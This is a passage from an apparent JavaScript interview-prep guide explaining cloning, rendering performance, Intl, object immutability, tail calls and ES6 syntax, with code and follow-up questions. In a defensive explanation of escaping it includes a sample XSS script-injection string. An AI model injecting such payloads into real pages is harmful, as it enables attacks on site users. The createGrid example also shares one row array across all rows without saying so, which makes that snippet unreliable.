  • react-window — Brian Vaughn (React core team). Lightweight, fixed and variable height lists.
  • react-virtuoso — Automatic height measurement, grouped lists, reverse scroll (chat).
  • @angular/cdk/scrolling — Angular’s built-in virtual scrolling.
What interviewers are really testing: Do you understand why rendering all items is a problem? Can you explain the basic windowing algorithm? Senior candidates should mention variable-height challenges and accessibility concerns.Red flag answer: “Just paginate instead of virtualizing.” Pagination changes the UX (no smooth scrolling). Virtual scrolling gives the feel of infinite content with constant memory usage. They solve different problems.Follow-up questions:
  • “How does virtualization handle variable-height items?” — You cannot calculate positions without knowing heights. Two approaches: (1) Estimate heights, render items, measure actual heights after render (using ResizeObserver), cache measured heights, and recalculate positions. This causes layout shifts. (2) Force all items to fixed height (simpler but restrictive). TanStack Virtual and react-virtuoso handle dynamic measurement well.
  • “What accessibility challenges does virtual scrolling introduce?” — Screen readers expect all content to be in the DOM. With virtualization, only visible items exist. Solutions: set aria-rowcount on the container and aria-rowindex on each item. Use role="grid" or role="listbox". Ensure keyboard navigation works (arrow keys move focus AND scroll). Some screen reader users may need a “load all” option for content that should be searchable.
  • “When is virtualization NOT the right approach?” — When the list is under ~200 items (DOM can handle it). When items have complex interactive state that is lost on unmount (forms with unsaved input). When SEO matters (search engines cannot scroll virtual lists). When accessibility is paramount and the team cannot invest in proper ARIA support.
Answer: Deep cloning creates a completely independent copy of an object, including all nested objects. The choice of method affects performance, correctness, and which data types survive the clone.The three approaches:
MethodSpeedHandlesMisses
JSON.parse(JSON.stringify())MediumPlain objects, arrays, strings, numbers, booleans, nullundefined, Date (becomes string), RegExp, Map, Set, functions, Infinity, NaN (becomes null), circular refs (throws)
structuredClone()FastAll of above + Date, RegExp, Map, Set, ArrayBuffer, Blob, circular refs, Error objectsFunctions, DOM nodes, Symbol properties, prototype chain
Manual recursiveSlowestWhatever you implementWhatever you forget
// JSON method -- fast but lossy
const clone1 = JSON.parse(JSON.stringify(original));
// Breaks: Date becomes string, undefined values disappear,
// NaN becomes null, RegExp becomes empty object

// structuredClone -- the correct modern approach
const clone2 = structuredClone(original);
// Handles: Date, RegExp, Map, Set, ArrayBuffer, circular references
// Available in: all modern browsers, Node.js 17+, Deno, Cloudflare Workers

// What structuredClone cannot clone:
structuredClone({ fn: () => {} });     // Error: functions
structuredClone({ el: document.body }); // Error: DOM nodes
structuredClone({ [Symbol('x')]: 1 }); // Symbol keys are dropped
Performance comparison (1000 clones of a medium object):
// JSON round-trip: ~15ms
// structuredClone: ~8ms
// lodash.cloneDeep: ~25ms
// Manual spread (shallow): ~2ms

// For shallow copies (1 level deep), spread is 4-10x faster:
const shallow = { ...obj }; // Only top-level properties are copied
When to use which:
  • Shallow copy ({ ...obj }, Object.assign) — When nested objects will not be modified. React state updates where you only change top-level properties.
  • structuredClone — The default choice for deep cloning in modern code. Handles edge cases correctly.
  • JSON round-trip — Legacy code, or when you specifically want to strip non-serializable values (functions, undefined). Also useful for serialization-deserialization validation.
  • Immer’s produce — When you want to create a modified copy with structural sharing (not a full clone).
What interviewers are really testing: Do you know what JSON.parse(JSON.stringify()) loses? Do you know structuredClone exists? Senior candidates should discuss when deep cloning is actually needed vs structural sharing.Red flag answer: “I always use JSON.parse(JSON.stringify()) for deep clone.” This silently corrupts Date, undefined, NaN, Map, Set, and throws on circular references. It is a common source of production bugs.Follow-up questions:
  • “Your team is deep cloning a 50MB state object on every Redux action. How do you fix the performance?” — Do not deep clone. Use Immer, which uses Proxy-based copy-on-write. Only the mutated paths get new objects; unchanged subtrees share the same references (structural sharing). Or refactor the state to be flatter (normalize with normalizr) so updates only affect small slices.
  • “How does structuredClone handle circular references?” — It tracks visited objects during cloning. If it encounters the same object again, it reuses the already-cloned copy. const a = {}; a.self = a; structuredClone(a) works correctly — the clone’s .self points to the clone, not the original. JSON.stringify throws TypeError: Converting circular structure to JSON.
  • “What is the structured clone algorithm used for besides structuredClone()?”postMessage (Web Workers, iframes), IndexedDB storage, history.pushState, Notification constructor, and MessagePort. Any time data crosses a boundary in the browser, the structured clone algorithm is used. Understanding its limitations (no functions, no DOM) explains why Web Workers cannot receive function references.

8. Miscellaneous

Answer: requestAnimationFrame schedules a callback to run right before the browser’s next repaint, synchronized with the display’s refresh rate (typically 60fps = every 16.6ms). It is the correct way to perform visual updates, animations, and any DOM mutation that should sync with rendering.Why rAF is better than setTimeout/setInterval for animations:
  1. Sync with display — rAF fires exactly once per frame, at the optimal time for the browser’s paint cycle. setTimeout(fn, 16) has no such guarantee — it might fire between frames (wasted work) or during a frame’s paint (jank).
  2. Automatic throttling — In background tabs, rAF is paused (saving CPU/battery). setInterval keeps firing, wasting resources.
  3. No jank from driftsetInterval(fn, 16) drifts over time (timer resolution, event loop delays). rAF fires when the browser is actually ready to paint.
  4. Battery-friendly — On high-refresh displays (120Hz), rAF automatically adjusts to the native refresh rate.
// Animation loop pattern
let animationId;
function animate(timestamp) {
    // timestamp is a high-resolution DOMHighResTimeStamp
    updatePosition(timestamp);
    drawFrame();

    animationId = requestAnimationFrame(animate); // Schedule next frame
}
animationId = requestAnimationFrame(animate); // Start

// Cancel
cancelAnimationFrame(animationId);

// Throttle scroll handler to once per frame
let ticking = false;
window.addEventListener('scroll', () => {
    if (!ticking) {
        requestAnimationFrame(() => {
            updateScrollUI(window.scrollY);
            ticking = false;
        });
        ticking = true;
    }
});
Where rAF fits in the event loop: After macrotask + microtask draining, before paint. The full cycle: Task -> Microtasks -> rAF callbacks -> Style calculation -> Layout -> Paint -> Composite.What interviewers are really testing: Do you know where rAF fits in the rendering pipeline? Can you use it to throttle visual updates? Senior candidates should explain why rAF is better than setTimeout for animations and know about requestIdleCallback for non-visual background work.Red flag answer: “I use setInterval(fn, 16) for 60fps animations.” This does not account for the time your function takes to execute, leading to cumulative drift and jank.Follow-up questions:
  • “What is requestIdleCallback and how does it differ from rAF?”requestIdleCallback runs during idle periods when the browser has no other work to do. rAF runs once per frame before paint (time-critical). Use rAF for visual updates and rIC for non-urgent background work (analytics, prefetching, non-critical DOM updates). rIC gives you a deadline object telling you how much idle time is left.
  • “How do you implement a frame-rate-independent animation?” — Use the timestamp parameter: const deltaTime = timestamp - lastTimestamp. Move objects by speed * deltaTime instead of a fixed amount per frame. This way, the animation looks the same at 30fps, 60fps, or 120fps — it just looks smoother at higher refresh rates.
  • “What happens if your rAF callback takes more than 16ms?” — The frame is dropped. The browser will not paint until your callback returns, so the user sees a stutter. If it consistently takes >16ms, reduce the work (use Web Workers for computation, simplify the render). Chrome DevTools Performance panel flags “long frames” for this.
Answer: The Intl API provides language-sensitive string comparison, number formatting, date/time formatting, and more — all built into the browser with no library required. It replaces the need for Moment.js, date-fns (for formatting), and numeral.js for most common cases.
// Number formatting
new Intl.NumberFormat('en-US', { style: 'currency', currency: 'USD' }).format(1234.56);
// "$1,234.56"

new Intl.NumberFormat('de-DE', { style: 'currency', currency: 'EUR' }).format(1234.56);
// "1.234,56 €"

new Intl.NumberFormat('en', { notation: 'compact' }).format(1500000);
// "1.5M"

// Date formatting
new Intl.DateTimeFormat('en-US', {
    dateStyle: 'long', timeStyle: 'short'
}).format(new Date());
// "April 10, 2026, 3:45 PM"

// Relative time
new Intl.RelativeTimeFormat('en', { numeric: 'auto' }).format(-1, 'day');
// "yesterday"

// List formatting
new Intl.ListFormat('en', { type: 'conjunction' }).format(['Alice', 'Bob', 'Charlie']);
// "Alice, Bob, and Charlie"

// Pluralization rules
new Intl.PluralRules('en').select(0);  // "other"
new Intl.PluralRules('en').select(1);  // "one"
new Intl.PluralRules('en').select(2);  // "other"

// Collation (locale-aware sorting)
['ä', 'a', 'z'].sort(new Intl.Collator('de').compare);
// ['a', 'ä', 'z'] -- German sorting rules
Why not Moment.js: Moment.js is 72KB gzipped, mutable (creates bugs), and in maintenance mode. Intl.DateTimeFormat is 0KB (built-in), locale data is in the browser, and it handles time zones correctly. For manipulation (add days, subtract months), use date-fns or Temporal (upcoming TC39 proposal).What interviewers are really testing: Do you know that native Intl APIs exist and can replace common library dependencies? Can you format numbers, dates, and currencies for different locales?Red flag answer: “I use toLocaleString() for everything.” toLocaleString works but is less configurable. Intl APIs give you formatter objects that you can reuse (better performance for formatting many values).Follow-up questions:
  • “How do you handle time zones correctly in JavaScript?” — Use Intl.DateTimeFormat with { timeZone: 'America/New_York' } for display. Store all dates in UTC (ISO 8601 strings or timestamps). Never do time zone math manually — use a library or Intl. The upcoming Temporal API will provide proper time zone support at the language level.
  • “What is the performance benefit of reusing an Intl.NumberFormat instance?” — Creating a formatter is expensive (~10-50x slower than formatting). Create it once and reuse: const fmt = new Intl.NumberFormat('en-US', { style: 'currency', currency: 'USD' }); items.map(i => fmt.format(i.price)). This is critical in hot rendering paths (table cells, chart labels).
  • “What is Intl.Segmenter and when would you use it?”Intl.Segmenter breaks strings into graphemes, words, or sentences according to locale-specific rules. Essential for: counting characters in non-Latin scripts (emoji, CJK), implementing text editors that handle multi-codepoint characters correctly, and word-breaking for search indexing. '👨‍👩‍👧‍👦'.length is 11 in JS, but [...new Intl.Segmenter().segment('👨‍👩‍👧‍👦')].length is 1.
Answer: Three levels of object lockdown, from least to most restrictive:
OperationpreventExtensionssealfreeze
Add new propertiesNoNoNo
Delete propertiesYesNoNo
Modify existing valuesYesYesNo
Reconfigure propertiesYesNoNo
// preventExtensions: No new properties, but existing ones are fully modifiable
const obj1 = Object.preventExtensions({ a: 1 });
obj1.b = 2;  // Silently fails (or TypeError in strict mode)
obj1.a = 99; // Works
delete obj1.a; // Works

// seal: No new properties, no deletions, but values can change
const obj2 = Object.seal({ a: 1 });
obj2.a = 99;  // Works
obj2.b = 2;   // Fails
delete obj2.a; // Fails

// freeze: Complete immutability (shallow!)
const obj3 = Object.freeze({ a: 1, nested: { b: 2 } });
obj3.a = 99;        // Fails
obj3.nested.b = 99; // WORKS! freeze is shallow
The shallow freeze trap: Object.freeze only freezes the top level. Nested objects are still mutable. This surprises almost everyone the first time.
// Deep freeze utility
function deepFreeze(obj) {
    Object.freeze(obj);
    Object.getOwnPropertyNames(obj).forEach(prop => {
        const value = obj[prop];
        if (typeof value === 'object' && value !== null && !Object.isFrozen(value)) {
            deepFreeze(value);
        }
    });
    return obj;
}
When to use each in production:
  • freeze — Configuration objects, enum-like constants, Redux initial state (catches mutation bugs in development)
  • seal — Objects where the shape should be fixed but values need updating (prevents typos like obj.naem = 'Alice' instead of obj.name)
  • preventExtensions — Rarely used directly. Some frameworks use it internally.
What interviewers are really testing: Do you know that freeze is shallow? Do you understand the practical use case for seal (preventing property typos)?Red flag answer: “Object.freeze makes objects deeply immutable.” It does not. Nested objects are still mutable. This misconception causes real bugs.Follow-up questions:
  • “Does Object.freeze affect V8 performance?” — Frozen objects get a special internal marker in V8 that tells the engine the object’s shape will never change. This can actually IMPROVE property access performance because V8 can make stronger optimization assumptions. However, freeze itself has a cost (~2x slower than Object.create for initial creation) and should not be called in hot loops.
  • “How do you detect if someone tries to mutate a frozen object?” — In strict mode, mutations throw TypeError. In sloppy mode, they silently fail. Always use strict mode (or ES modules, which are strict by default) to catch these errors. For development, you can also use Proxy with a set trap that logs mutation attempts.
Answer: Layout thrashing occurs when you interleave DOM reads (which may trigger synchronous layout/reflow) and DOM writes (which invalidate the current layout) in a tight loop. Each read-after-write forces the browser to perform a synchronous reflow to calculate the current geometry — and if you do this 100 times in a loop, you get 100 reflows instead of 1.
// BAD: Layout thrashing -- N reflows in a loop
const elements = document.querySelectorAll('.box');
elements.forEach(el => {
    const height = el.offsetHeight;        // READ -- forces reflow
    el.style.height = (height + 10) + 'px'; // WRITE -- invalidates layout
    // Next iteration's READ will force another reflow
});
// With 100 elements: 100 forced reflows!

// GOOD: Batch reads, then batch writes -- 1 reflow total
const heights = [];
elements.forEach(el => {
    heights.push(el.offsetHeight); // All reads first
});
elements.forEach((el, i) => {
    el.style.height = (heights[i] + 10) + 'px'; // All writes after
});
// 1 read-induced reflow + 1 write-induced reflow = 2 total
Properties that trigger forced reflow when read:
  • offsetWidth, offsetHeight, offsetTop, offsetLeft
  • clientWidth, clientHeight, clientTop, clientLeft
  • scrollWidth, scrollHeight, scrollTop, scrollLeft
  • getBoundingClientRect()
  • getComputedStyle()
  • innerText (requires layout to determine text layout)
The fastdom pattern (or DIY equivalent):
// fastdom batches reads and writes into separate rAF phases
import fastdom from 'fastdom';

elements.forEach(el => {
    fastdom.measure(() => {
        const height = el.offsetHeight;
        fastdom.mutate(() => {
            el.style.height = (height + 10) + 'px';
        });
    });
});
What interviewers are really testing: Can you identify layout thrashing in code? Do you know which properties trigger forced reflow? This is a performance optimization question that separates developers who profile from those who guess.Red flag answer: “DOM manipulation is just slow.” It is not — a single batch of DOM writes is fast. The problem is interleaving reads and writes. The solution is batching, not avoiding the DOM.Follow-up questions:
  • “How do you detect layout thrashing in production?” — Chrome DevTools Performance panel. Record an interaction, look for purple “Layout” bars in the flame chart. If you see many short layout events in rapid succession, that is thrashing. The “Layout Shift” entries show which element triggered the reflow. Also: PerformanceObserver with entryType: 'layout-shift' for programmatic monitoring.
  • “How does React avoid layout thrashing?” — React batches all state updates and DOM mutations into a single synchronous commit phase (after reconciliation). Reads happen during render (before commit), writes happen during commit. This naturally separates reads from writes. However, useLayoutEffect runs synchronously after DOM mutation but before paint, and reading DOM inside it can cause forced reflow if followed by more writes.
  • “What CSS properties are “safe” because they only trigger composite, not layout?”transform and opacity only trigger the composite step (GPU-accelerated, no layout or paint). will-change: transform promotes an element to its own compositor layer. Use these for animations instead of width, height, top, left which all trigger layout.
Answer: Tail Call Optimization is a language-level optimization where, if the last action of a function is calling another function (a “tail call”), the current stack frame is reused instead of pushing a new one. This enables recursion with O(1) stack space instead of O(n), preventing stack overflow for deep recursive algorithms.
// NOT a tail call -- multiplication happens after the recursive call
function factorial(n) {
    if (n <= 1) return 1;
    return n * factorial(n - 1); // Must multiply AFTER factorial returns
}
// Stack: factorial(5) -> factorial(4) -> factorial(3) -> ... O(n) frames

// Tail call version -- recursive call is the LAST operation
function factorial(n, accumulator = 1) {
    if (n <= 1) return accumulator;
    return factorial(n - 1, n * accumulator); // Nothing to do after this call
}
// With TCO: stack reuses one frame. O(1) space.
// factorial(100000) would work without stack overflow... in Safari.

// Another example: tail-recursive list sum
function sum(arr, index = 0, acc = 0) {
    if (index >= arr.length) return acc;
    return sum(arr, index + 1, acc + arr[index]); // Tail position
}
The awkward reality: TCO is part of the ES2015 spec, but as of 2024, only Safari/WebKit implements it. V8 (Chrome, Node) and SpiderMonkey (Firefox) deliberately chose NOT to implement TCO because: (1) it makes stack traces disappear (debugging becomes harder), (2) the performance gain is minimal for most code, and (3) it changes observable behavior (stack depth limits change).Practical alternatives when you cannot rely on TCO:
// Trampoline pattern -- convert recursion to iteration
function trampoline(fn) {
    return (...args) => {
        let result = fn(...args);
        while (typeof result === 'function') {
            result = result();
        }
        return result;
    };
}

const factorial = trampoline(function fact(n, acc = 1) {
    if (n <= 1) return acc;
    return () => fact(n - 1, n * acc); // Return a thunk, not a recursive call
});

factorial(100000); // Works! No stack overflow.
What interviewers are really testing: Do you know TCO exists in the spec but is not widely implemented? Can you convert a recursive function to tail-recursive form? Senior candidates should mention the trampoline pattern and explain why V8 chose not to implement TCO.Red flag answer: “JavaScript supports tail call optimization.” Technically the spec does, but only Safari implements it. Writing tail-recursive code in Chrome/Node does not prevent stack overflow.Follow-up questions:
  • “What is the maximum call stack depth in V8/Chrome?” — Approximately 10,000-25,000 frames depending on frame size (how many local variables each function has). You can test it: function depth(n) { return depth(n+1); } try { depth(0); } catch(e) { console.log(e.message); }. For recursive algorithms that might exceed this, convert to iteration or use a trampoline.
  • “When should you use recursion vs iteration in JavaScript?” — Use recursion for tree/graph traversal, divide-and-conquer algorithms, and problems with natural recursive structure (Fibonacci, factorial, file system walking). Use iteration for anything that could recurse deeper than ~5000 levels, performance-critical hot paths (iteration avoids function call overhead), and anywhere stack overflow is a risk. In practice, most recursive algorithms in JS should have an iterative fallback for production use.
  • “What is the trampoline pattern and why does it work?” — Instead of making a recursive call (which adds a stack frame), the function returns a thunk (a zero-argument function that would make the call). The trampoline loop calls the thunk iteratively, so the stack never grows beyond 2 frames. It trades stack space for heap space (each thunk is a closure allocation) but closures are cheap compared to stack overflow crashes.

9. ES6+ Features (Medium Level)

Answer: The ... syntax does two opposite things depending on context — this confuses beginners but is intuitive once you see the pattern. Spread expands collections into individual elements. Rest collects individual elements into a collection.
// SPREAD: Expanding (used in function calls, array/object literals)
const arr1 = [1, 2, 3];
const arr2 = [...arr1, 4, 5]; // [1, 2, 3, 4, 5]
const obj = { ...{ a: 1 }, b: 2 }; // { a: 1, b: 2 }
Math.max(...arr1); // 3 (spreads into function arguments)

// REST: Collecting (used in function parameters, destructuring)
function sum(...numbers) { // Collects all args into an array
    return numbers.reduce((a, b) => a + b, 0);
}
const { first, ...remaining } = { first: 1, second: 2, third: 3 };
// remaining = { second: 2, third: 3 }
Key distinctions: Spread creates shallow copies (nested objects share references). Rest in destructuring must be the last element (const [first, ...rest, last] is a SyntaxError). Object spread preserves insertion order and last-write-wins for duplicate keys.Production gotcha — spread in Redux/React state updates:
// Common React pattern: updating nested state
const [state, setState] = useState({ user: { name: 'Alice', prefs: { theme: 'dark' } } });

// BAD: Only shallow copies user, prefs is shared reference
setState({ ...state, user: { ...state.user, name: 'Bob' } });
// state.user.prefs === newState.user.prefs (same reference -- fine here)
// But if you later mutate prefs thinking it is a copy, you corrupt both states

// REST for clean API function signatures
function createUser({ name, email, ...metadata }) {
    // name and email extracted, everything else in metadata
    return db.insert({ name, email, metadata }); // metadata: { role, team, region, ... }
}
// This pattern handles evolving APIs gracefully -- new fields automatically land in metadata
What interviewers are really testing: Can you distinguish spread (call site) from rest (definition site)? Do you know spread is shallow? Senior candidates should demonstrate awareness of the shallow copy trap in state management and show how rest parameters create flexible, forward-compatible APIs.Red flag answer: Thinking {...obj} is a deep clone. It is shallow — nested objects are shared references. Also: using spread to copy arrays in hot loops ([...largeArr] allocates a new array every time) without considering the GC pressure.Follow-up questions:
  • “What is the performance of spread vs Object.assign vs manual loop?” — For small objects (<20 keys), spread and Object.assign are equivalent (~200ns). For large objects (1000+ keys), Object.assign can be 10-20% faster because spread creates intermediate objects. For arrays, [...arr] is slightly faster than arr.slice() in modern engines. In a real benchmark on a 100K-element array, [...arr] takes ~0.4ms, arr.slice() ~0.35ms, and Array.from(arr) ~0.5ms. The difference is negligible — pick for readability.
  • “Can you spread a string? A Map? A generator?” — Yes to all. Spread works on any iterable (anything with Symbol.iterator). [...'hello'] gives ['h','e','l','l','o']. [...myMap] gives [[key, value], ...]. [...generatorFn()] consumes the generator. Object spread ({...obj}) is different — it uses own enumerable string-keyed properties, not the iterable protocol.
  • “What happens when you spread null or undefined in different contexts?” — Object spread: {...null} and {...undefined} produce {} (no error). Array spread: [...null] throws TypeError: null is not iterable. This asymmetry trips people up. Object spread silently ignores non-object values (numbers, booleans, strings spread to empty for objects unless it is a string). Array spread requires an iterable.
Answer: These four methods are the backbone of data transformation in JavaScript. Understanding when to use each (and when NOT to) is a daily skill.
const users = [
    { name: 'Alice', age: 30, tags: ['admin', 'user'] },
    { name: 'Bob', age: 17, tags: ['user'] },
    { name: 'Charlie', age: 25, tags: ['admin'] },
];

// map: Transform each element (1-to-1)
users.map(u => u.name); // ['Alice', 'Bob', 'Charlie']

// filter: Select elements matching condition (removes non-matches)
users.filter(u => u.age >= 18); // [Alice, Charlie]

// reduce: Accumulate into any shape (most powerful, most abused)
users.reduce((acc, u) => ({ ...acc, [u.name]: u.age }), {});
// { Alice: 30, Bob: 17, Charlie: 25 }

// flatMap: map + flatten one level (1-to-many)
users.flatMap(u => u.tags); // ['admin', 'user', 'user', 'admin']

// Chaining (readable data pipelines)
users
    .filter(u => u.age >= 18)
    .map(u => u.name)
    .sort(); // ['Alice', 'Charlie']
The reduce controversy: reduce can implement any array transformation (map, filter, groupBy, etc.), but that does not mean it should. Overusing reduce makes code hard to read. Use map for transformation, filter for selection, and reserve reduce for true accumulation (sums, grouping, building objects).Performance note: Chaining .filter().map() iterates the array twice. For large arrays (100K+ items), a single reduce that filters and maps in one pass is 2x faster. For most cases, readability wins.Production war story: At a data analytics company, we had a dashboard rendering 500K rows through a .filter().map().sort() chain. Each chain step created a new intermediate array. Memory usage spiked to 2GB and Chrome crashed on lower-end devices. The fix was a single-pass reduce that filtered, transformed, and inserted into a pre-sorted structure in one iteration — reduced memory from 2GB to 300MB and cut processing time from 4.2s to 800ms.What interviewers are really testing: Can you choose the right method? Can you implement reduce for a non-trivial accumulation? Senior candidates should discuss when chaining is wasteful, mention Object.groupBy (ES2024), and know the memory implications of intermediate arrays for large datasets.Red flag answer: Using forEach with a push instead of map, or using reduce where map + filter would be clearer. Also: not knowing that .filter().map() creates TWO intermediate arrays — for small data this is fine, for 100K+ items it matters.Follow-up questions:
  • “Implement map using reduce.”const map = (arr, fn) => arr.reduce((acc, val, i) => { acc.push(fn(val, i, arr)); return acc; }, []). Note: using [...acc, fn(val)] is O(n^2) because it copies the accumulator on every iteration. The push version is O(n). This is a classic trap in reduce implementations — in a code review I once flagged a reduce with spread that turned an O(n) operation into O(n^2), causing a 50x slowdown on 10K items.
  • “What is Object.groupBy and how does it replace a common reduce pattern?”Object.groupBy(users, u => u.age >= 18 ? 'adult' : 'minor') returns { adult: [...], minor: [...] }. This replaces the common reduce accumulator pattern for grouping, which was verbose and error-prone. There is also Map.groupBy() for when you need non-string keys. Both are available in all modern browsers and Node.js 21+.
  • “What is the difference between flatMap and map + flat?”flatMap is equivalent to map().flat(1) but more efficient (single pass, no intermediate array). flatMap only flattens one level. If you need deeper flattening, use map().flat(depth) or flat(Infinity). Real use case: sentences.flatMap(s => s.split(' ')) tokenizes an array of sentences into words in one step.
  • “When should you use for loop instead of array methods?” — When you need to break early (array methods always iterate the full array), when you need await inside the loop (.forEach does not support it), or when you are processing 1M+ items and the 10-20% overhead of iterator creation matters. for...of is the modern compromise — it supports break/continue/await and is nearly as fast as a classic for loop.
Answer: Destructuring is not just syntactic sugar — it is a core pattern for function APIs, React props, and configuration objects. The advanced patterns (nested, computed, defaults with renaming) separate intermediate from senior developers.
// Basic with defaults
const { name, age, city = 'Unknown' } = { name: 'Alice', age: 30 };

// Renaming + default
const { name: userName, role: userRole = 'viewer' } = apiResponse;

// Nested destructuring
const { address: { city, zip } = {} } = user;
// If user.address is undefined, the default {} prevents TypeError

// Computed property names
const key = 'name';
const { [key]: value } = { name: 'Alice' }; // value = 'Alice'

// Function parameter destructuring (THE production pattern)
function createUser({
    name,
    age = 18,
    role = 'user',
    settings: { theme = 'light', notifications = true } = {}
} = {}) {
    return { name, age, role, theme, notifications };
}
// The outer = {} means the function can be called with no arguments
createUser(); // Uses all defaults
createUser({ name: 'Bob', settings: { theme: 'dark' } });
The swap pattern: [a, b] = [b, a] — no temp variable needed.Production pattern — API response handling:
// Real-world: handling a GraphQL response with optional nested fields
function processUserResponse(response) {
    const {
        data: {
            user: {
                name,
                email,
                organization: { name: orgName, plan = 'free' } = {},
                settings: { notifications: { email: emailNotifs = true } = {} } = {}
            } = {}
        } = {}
    } = response ?? {};

    return { name, email, orgName, plan, emailNotifs };
}
// Handles: missing data, missing user, missing organization, missing settings
// Without destructuring defaults, this would be 15 lines of null checks
What interviewers are really testing: Can you destructure nested objects safely (with defaults at each level)? Do you understand the = {} pattern for optional function parameters? Senior candidates should demonstrate real API response handling and know the null vs undefined trap with defaults.Red flag answer: Not knowing that const { a: { b } } = { a: undefined } throws TypeError. You need const { a: { b } = {} } = obj to handle missing intermediate objects. Also: not knowing that null does not trigger defaults — const { x = 5 } = { x: null } gives null, not 5.Follow-up questions:
  • “What happens with destructuring and null vs undefined?” — Default values only apply for undefined, NOT for null. const { x = 5 } = { x: null } gives x = null, not 5. This catches people off guard. If you need to default both null and undefined, use nullish coalescing after destructuring: const { x } = obj; const safeX = x ?? 5. This is especially relevant when parsing API responses where null means “field exists but empty” vs undefined meaning “field not returned.”
  • “How does destructuring interact with iterables?” — Array destructuring works on any iterable: const [a, b] = 'hi' gives a='h', b='i'. const [first, ...rest] = new Set([1,2,3]) gives first=1, rest=[2,3]. This is because array destructuring uses Symbol.iterator under the hood.
  • “How do you destructure with dynamic/computed property names?” — Use bracket notation: const key = 'name'; const { [key]: value } = user;. This is useful when the property name comes from a variable (e.g., form field names, config keys). Combined with rest: const { [dynamicKey]: extracted, ...remaining } = obj lets you remove a dynamic key from an object immutably.
Answer: Covered in depth in Question 30 (Tagged Templates). The key additions here:
// Multi-line strings (no \n needed)
const html = `
    <div class="card">
        <h2>${title}</h2>
        <p>${description}</p>
    </div>
`;

// Expression interpolation (any JS expression works)
const price = `Total: $${(quantity * unitPrice).toFixed(2)}`;
const conditional = `Status: ${isActive ? 'Active' : 'Inactive'}`;

// Nesting template literals
const table = `<table>${rows.map(r => `<tr><td>${r.name}</td></tr>`).join('')}</table>`;
What interviewers are really testing: Do you know template literals support expressions (not just variables)? Can you use them for HTML templating safely?Follow-up questions:
  • “Are template literals faster or slower than string concatenation?” — In modern engines, performance is identical. V8 optimizes both to the same internal representation. Use template literals for readability, not performance.
  • “What is the security risk of template literals in HTML generation?” — If ${userInput} contains <script>alert('xss')</script>, the template literal does NOT escape it. Template literals are just string interpolation — no auto-escaping. Use tagged templates (like html from lit-html) or DOM APIs (textContent) for safe HTML generation.
Answer: Default parameters are expressions evaluated at call time (not definition time), which enables powerful patterns.
// Defaults are evaluated left to right, can reference earlier params
function createGrid(rows, cols = rows) {
    return Array(rows).fill(Array(cols).fill(0));
}
createGrid(3); // 3x3 grid

// Defaults can be function calls (evaluated at call time)
function createUser(name, id = crypto.randomUUID()) {
    return { name, id }; // Each call gets a unique ID
}

// Required parameter trick
function required(param) {
    throw new Error(`Missing required parameter: ${param}`);
}
function greet(name = required('name')) {
    return `Hello, ${name}`;
}
greet(); // Error: Missing required parameter: name

// Defaults interact with destructuring
function config({ port = 3000, host = 'localhost' } = {}) {
    return { port, host };
}
config();            // { port: 3000, host: 'localhost' }
config({ port: 8080 }); // { port: 8080, host: 'localhost' }
What interviewers are really testing: Do you know defaults are expressions, not just static values? The required() pattern shows creative understanding.Follow-up questions:
  • “What is the TDZ issue with default parameters?” — Parameters are evaluated left-to-right. function f(a = b, b = 1) throws ReferenceError because b is in the TDZ when a’s default tries to use it. function f(a = 1, b = a) works fine because a is already initialized.
  • “How do default parameters interact with arguments?” — In strict mode, arguments does not reflect default values. function f(x = 10) { console.log(arguments[0]); } f(); logs undefined (arguments shows what was passed, not the default). This is another reason to avoid arguments.
Answer: Array.from() is one of the most versatile array creation methods — it converts any iterable or array-like object to a real array and optionally transforms elements in the same step.
// Convert iterable to array
Array.from('hello'); // ['h', 'e', 'l', 'l', 'o']
Array.from(new Set([1, 1, 2])); // [1, 2]
Array.from(document.querySelectorAll('div')); // Real array from NodeList

// Generate sequences (the most useful pattern)
Array.from({ length: 5 }, (_, i) => i);        // [0, 1, 2, 3, 4]
Array.from({ length: 5 }, (_, i) => i * 2);    // [0, 2, 4, 6, 8]
Array.from({ length: 26 }, (_, i) => String.fromCharCode(65 + i)); // ['A'..'Z']

// Array.of -- fixes the Array constructor's confusing behavior
new Array(3);    // [empty x 3] -- single number = array length
Array.of(3);     // [3] -- creates array containing 3
Array.of(1,2,3); // [1, 2, 3]
What interviewers are really testing: Do you know Array.from with a mapping function? This is a cleaner alternative to new Array(n).fill(0).map(...).Follow-up questions:
  • “What is the difference between Array.from(nodeList) and [...nodeList]?” — Both convert to arrays. Array.from works with array-likes (objects with length but no Symbol.iterator), spread only works with iterables. Array.from also accepts a mapping function. In practice, both work for DOM collections since NodeList is iterable in modern browsers.
  • “Why does Array.from({length: 3}) produce [undefined, undefined, undefined] while new Array(3) produces holes?”Array.from iterates from 0 to length-1, explicitly assigning each index. new Array(3) just sets the length property without creating slots. This is the same distinction as dense vs sparse arrays (see Question 45).
Answer: Both merge objects, but the key difference is mutation: Object.assign() mutates the target, spread creates a new object.
const target = { a: 1, b: 2 };
const source = { b: 3, c: 4 };

// Object.assign: MUTATES target
Object.assign(target, source);
// target is now { a: 1, b: 3, c: 4 }

// Spread: creates NEW object (target unchanged)
const merged = { ...target, ...source };
// target is still original value

// Both are SHALLOW -- nested objects share references
const obj = { nested: { x: 1 } };
const clone = { ...obj };
clone.nested.x = 99; // Also changes obj.nested.x!
When to use Object.assign over spread:
  • When you intentionally want to mutate the target (merging into existing object)
  • When you need to copy to a specific prototype: Object.assign(Object.create(proto), source)
  • Spread cannot copy getters/setters — it invokes them and copies the returned value. Object.assign also invokes getters, but Object.defineProperties preserves them.
What interviewers are really testing: Do you know assign mutates while spread does not? Do you know both are shallow?Follow-up questions:
  • “How do you merge objects with nested properties deeply?” — There is no built-in deep merge. Options: (1) structuredClone + manual merge, (2) lodash _.merge(), (3) recursive custom function. The choice depends on whether you need to handle arrays (replace vs concatenate), circular references, and special types (Date, RegExp).
  • “What happens with Object.assign and inherited properties?”Object.assign only copies own enumerable string-keyed properties. Inherited properties (from prototype) are NOT copied. Symbol-keyed properties ARE copied (unlike for...in). This is the same behavior as spread.
Answer: The critical distinction: for...of iterates values (from iterables), for...in iterates enumerable string property keys (from any object, including inherited ones).
const arr = ['a', 'b', 'c'];

for (const value of arr) console.log(value); // 'a', 'b', 'c'
for (const key in arr) console.log(key);     // '0', '1', '2' (strings!)

// The danger of for...in on arrays
Array.prototype.customMethod = function() {};
for (const key in arr) console.log(key); // '0', '1', '2', 'customMethod'!
// for...in iterates inherited enumerable properties -- prototype pollution risk

// for...of works with any iterable
for (const [key, value] of new Map([['a', 1]])) console.log(key, value); // 'a', 1
for (const char of 'hello') console.log(char); // 'h', 'e', 'l', 'l', 'o'
